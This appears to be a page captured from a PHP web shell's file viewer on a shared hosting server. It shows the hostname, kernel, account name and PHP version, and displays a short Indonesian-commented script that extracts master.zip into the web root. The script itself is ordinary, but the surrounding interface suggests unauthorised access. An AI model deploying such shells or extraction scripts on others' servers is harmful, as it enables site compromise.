SCHWEIS
Server: LiteSpeed
System: Linux server252.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: corofmbe (1985)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/corofmbe/public_html/unzip.php
<?php
// 1. Matikan batasan waktu dan tingkatkan memori (Sangat penting untuk file WP!)
ini_set('max_execution_time', 0); // 0 = unlimited time
ini_set('memory_limit', '512M');  // Tingkatkan alokasi RAM
error_reporting(E_ALL);
ini_set('display_errors', 1);

$file_zip = 'master.zip';
$path_tujuan = './';

// 2. Cek apakah file benar-benar ada
if (!file_exists($file_zip)) {
    die("Error: File $file_zip tidak ditemukan di direktori ini!");
}

// 3. Pastikan folder tujuan bisa ditulisi (writable)
if (!is_writable($path_tujuan)) {
    die("Error: Folder tujuan ($path_tujuan) tidak memiliki permission untuk ditulisi (cek CHMOD).");
}

$zip = new ZipArchive;
$buka = $zip->open($file_zip);

if ($buka === TRUE) {
    // 4. Hitung jumlah file sebelum ekstrak untuk validasi
    $total_file_di_zip = $zip->numFiles;
    echo "Memulai ekstraksi... Menemukan <b>$total_file_di_zip</b> file di dalam archive.<br><br>";

    // 5. Eksekusi
    if ($zip->extractTo($path_tujuan)) {
        echo "<span style='color:green;'><b>Sukses Solid!</b></span> Seluruh file berhasil di-extract ke $path_tujuan.";
    } else {
        echo "<span style='color:red;'><b>Gagal parsial.</b></span> Proses extractTo() terhenti. Biasanya ini murni karena masalah File Permission/Ownership pada folder spesifik di dalam direktori tujuan.";
    }
    
    $zip->close();
} else {
    // 6. Terjemahkan kode error ZIP agar mudah dipahami
    $pesan_error = "Gagal membuka file. ";
    switch($buka) {
        case ZipArchive::ER_NOENT: $pesan_error .= "File tidak ditemukan."; break;
        case ZipArchive::ER_INCONS: $pesan_error .= "File Zip rusak atau tidak konsisten."; break;
        case ZipArchive::ER_MEMORY: $pesan_error .= "Memori server tidak cukup."; break;
        case ZipArchive::ER_NOZIP: $pesan_error .= "Ini bukan file arsip ZIP yang valid."; break;
        case ZipArchive::ER_OPEN: $pesan_error .= "Tidak bisa membuka file (kemungkinan dilarang oleh server)."; break;
        case ZipArchive::ER_READ: $pesan_error .= "Gagal membaca isi file."; break;
        default: $pesan_error .= "Kode Error Internal: $buka"; break;
    }
    echo "<span style='color:red;'>$pesan_error</span>";
}
?>